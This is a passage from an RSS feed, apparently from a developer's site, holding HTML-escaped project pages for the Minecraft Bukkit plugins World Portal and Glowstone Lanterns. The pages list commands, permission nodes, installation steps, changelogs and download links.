&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;worldportal.save&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Save World Portals&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;OPs&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;worldportal.reload&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Reload World Portals&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;OPs&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;portal-blocks&quot;&gt;Portal blocks&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Object name&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Object ID&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Trigger action&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Sign&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;63&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;Click&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Wall sign&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;68&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;Click&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Stone pressureplate&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;70&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;Touch&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Wood pressureplate&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;72&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;Touch&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Button&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;77&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;Click&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Lever&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;code&gt;69&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;em&gt;Switch&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;source-code&quot;&gt;Source code&lt;&#x2F;h2&gt;
&lt;p&gt;Because I like programming and I want to share my code so other developers could
fix an issue directly if they found a problem for example, I share the source
code of my project. It&#x27;s available on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;world-portal&quot;&gt;GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;changelog&quot;&gt;Changelog&lt;&#x2F;h2&gt;
&lt;p&gt;Version 0.2.6 (3-10-2012)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;World Portal will now auto generate it&#x27;s config files if they don&#x27;t exist.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;code&gt;CraftBukkit&lt;&#x2F;code&gt; API has been updated&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;code&gt;PermissionsEx&lt;&#x2F;code&gt; API has been updated&lt;&#x2F;li&gt;
&lt;li&gt;Some other minor bug fixes.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;projects&#x2F;bukkit&#x2F;world-portal&#x2F;changelog&quot;&gt;View all the changes here&lt;&#x2F;a&gt; &lt;em&gt;(old website)&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;donate&quot;&gt;Donate&lt;&#x2F;h2&gt;
&lt;p&gt;Please donate some money so I can buy some coffee to make better plugins and
host the website, I would really like it if you give an donation and I probably
put you on the sponsor list :-)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;donate&#x2F;&quot;&gt;Donate&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;comment&quot;&gt;Comment&lt;&#x2F;h2&gt;
&lt;p&gt;Please comment and ask on the official Bukkit forums, if you have a question
you can also contact me; World Portal page on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dev.bukkit.org&#x2F;server-mods&#x2F;world-portal&#x2F;&quot;&gt;dev.bukkit.org&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>Glowstone Lanterns</title>
                <pubDate>Sat, 09 Jul 2011 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/projects/bukkit/glowstone-lanterns/</link>
                <guid>https://timvisee.com/projects/bukkit/glowstone-lanterns/</guid>
                <description>&lt;p&gt;&lt;em&gt;Source code: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;GlowstoneLanterns&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;
&lt;em&gt;Current version: v1.0.1&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Note: this project is discontinued, and will likely no longer receive support
or updates.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;projects&#x2F;bukkit&#x2F;glowstone-lanterns&#x2F;header.png&quot; alt=&quot;Glowstone Lanterns header&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;With this plugin Glowstone Lanterns you can make lanterns, when it&#x27;s going dark
the glass of the lanterns will change in glowstone and when it&#x27;s daytime it will
change in glass again. The great thing is that you don&#x27;t need to place a full
lantern but only a glass&#x2F;glowstone block, so you can use it for everything. This
plugin is very useful for a large city to light it up, that looks really cool
that the lanterns will change in glowstone! You can also place prebuilt
lanterns, so that&#x27;s really useful if you want to plase a lot of lanterns in a
little time. You can enable glowstone lanterns with &lt;code&gt;&#x2F;gl&lt;&#x2F;code&gt;, when you place a
glass or a glowstone block it is marked as a glowstone lanterns, this block will
change to glowstone if it is night and to glass if it is daytime. If you use
&lt;code&gt;&#x2F;gl l l&lt;&#x2F;code&gt; you will enable prebuilt glowstone lanterns, if you place a glass or a
glowstone block there will appear the prebuilt glowstone lantern you selected
right there. There prebuilt lanterns are in external files, so you can make your
own prebuilt lanterns and share them with other people.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;video&quot;&gt;Video&lt;&#x2F;h2&gt;
&lt;p&gt;In the video underneath you can see how the plugin works: &lt;em&gt;(outdated video)&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;div &gt;
    &lt;iframe src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;a_rdqOazJl0&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;features&quot;&gt;Features&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Permissions support&lt;&#x2F;li&gt;
&lt;li&gt;Multi world support&lt;&#x2F;li&gt;
&lt;li&gt;Place prebuilt lanterns that are saved in external files, you can make them and share them with other people&lt;&#x2F;li&gt;
&lt;li&gt;Possibility to make your own custom prebuilt lanterns&lt;&#x2F;li&gt;
&lt;li&gt;Players can only destroy lanterns if he have permission&lt;&#x2F;li&gt;
&lt;li&gt;Put lanterns on when it rains&lt;&#x2F;li&gt;
&lt;li&gt;And a lot more!&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;download&quot;&gt;Download&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;download&#x2F;75&quot;&gt;Glowstone Lanterns v1.0.1&lt;&#x2F;a&gt; &lt;em&gt;(dropbox.com, direct link)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;download&#x2F;76&quot;&gt;Glowstone Lanterns v1.0.1&lt;&#x2F;a&gt; &lt;em&gt;(mediafire.com, direct link)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;projects&#x2F;bukkit&#x2F;glowstone-lanterns&#x2F;downloads&quot;&gt;Older downloads&lt;&#x2F;a&gt; &lt;em&gt;(on old website)&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;Download the plugin&lt;&#x2F;li&gt;
&lt;li&gt;Add the &lt;code&gt;GlowstoneLanterns.jar&lt;&#x2F;code&gt; file and the folder &lt;code&gt;Glowstone Lanterns&lt;&#x2F;code&gt; from
the downloaded &lt;code&gt;.zip&lt;&#x2F;code&gt; file to the &lt;code&gt;&#x2F;plugin&lt;&#x2F;code&gt; folder of the Minecraft server.
Also add the included folder &lt;code&gt;Glowstone Lanterns&lt;&#x2F;code&gt; to your plugins folder.&lt;&#x2F;li&gt;
&lt;li&gt;Add the permission nodes if you have a permissions system.&lt;&#x2F;li&gt;
&lt;li&gt;Set some settings in the config file.&lt;&#x2F;li&gt;
&lt;li&gt;Start your server and enjoy the plugin :)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;commands&quot;&gt;Commands&lt;&#x2F;h2&gt;
&lt;p&gt;Glowstone Lanterns commands can be invoked by typing &lt;code&gt;&#x2F;glowstonelanterns&lt;&#x2F;code&gt;,
&lt;code&gt;&#x2F;glowstonelantern&lt;&#x2F;code&gt; or &lt;code&gt;&#x2F;gl&lt;&#x2F;code&gt; in the in-game chat, or in the server console.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Command&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Action&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;gl&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Enable glowstone lanterns&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;gl lantern &amp;lt;id&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Enable prebuilt glowstone lanterns&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;gl lantern&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Disable prebuilt glowstone lanterns&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;gl list lanterns&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;List the prebuilt lanterns&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;gl help&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;View the help with all commands&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;gl info&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;View info (see if glowstone lanterns is enabled)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;gl save&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Save the glowstone lanterns list&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;gl reload&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Reload the lanterns list&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;gl version&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;View current running version number&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;permissions&quot;&gt;Permissions&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Permission node&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;Action&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;glowstonelanterns.gl&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Allow users to place glowstone lanterns&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;glowstonelanterns.destroyLanterns&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Allow users to destroy glowstone lanterns&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;glowstonelanterns.info&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Allow users to use the info command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;glowstonelanterns.reload&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Allow users to use the reload command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;glowstonelanterns.save&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Allow users to use the save command&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;source-code&quot;&gt;Source code&lt;&#x2F;h2&gt;
&lt;p&gt;Because I like programming and I want to share my code so other developers could
fix an issue directly if they found a problem for example, I share the source
code of my project. It&#x27;s available on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;GlowstoneLanterns&quot;&gt;GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;changelog&quot;&gt;Changelog&lt;&#x2F;h2&gt;
&lt;p&gt;Version 0.6 (14-10-2012)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Delayed lantern changes&lt;&#x2F;li&gt;
&lt;li&gt;Auto generating config files&lt;&#x2F;li&gt;
&lt;li&gt;Updated bukkit API&lt;&#x2F;li&gt;
&lt;li&gt;Improved the permissions manager&lt;&#x2F;li&gt;
&lt;li&gt;Added &lt;code&gt;PermissionsEx&lt;&#x2F;code&gt; support&lt;&#x2F;li&gt;
&lt;li&gt;Added &lt;code&gt;Essentials Group Manager&lt;&#x2F;code&gt; support&lt;&#x2F;li&gt;
&lt;li&gt;Updated &lt;code&gt;Default Permissions&lt;&#x2F;code&gt; support&lt;&#x2F;li&gt;
&lt;li&gt;Renamed package from &lt;code&gt;me.timvisee&lt;&#x2F;code&gt; to &lt;code&gt;com.timvisee&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;old.timvisee.com&#x2F;projects&#x2F;bukkit&#x2F;glowstone-lanterns&#x2F;changelog&quot;&gt;View all the changes here&lt;&#x2F;a&gt; &lt;em&gt;(old website)&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;donate&quot;&gt;Donate&lt;&#x2F;h2&gt;
&lt;p&gt;Please donate some money so I can buy some coffee to make better plugins and
host the website, I would really like it if you give an donation and I probably
put you on the sponsor list :-)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;donate&#x2F;&quot;&gt;Donate&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;comment&quot;&gt;Comment&lt;&#x2F;h2&gt;
&lt;p&gt;Please comment and ask on the official Bukkit forums, if you have a question
you can also contact me; Glowstone Lanterns page on
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dev.bukkit.org&#x2F;server-mods&#x2F;glowstone-lanterns&#x2F;&quot;&gt;dev.bukkit.org&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</description>
            </item>
        
    </channel>
</rss>

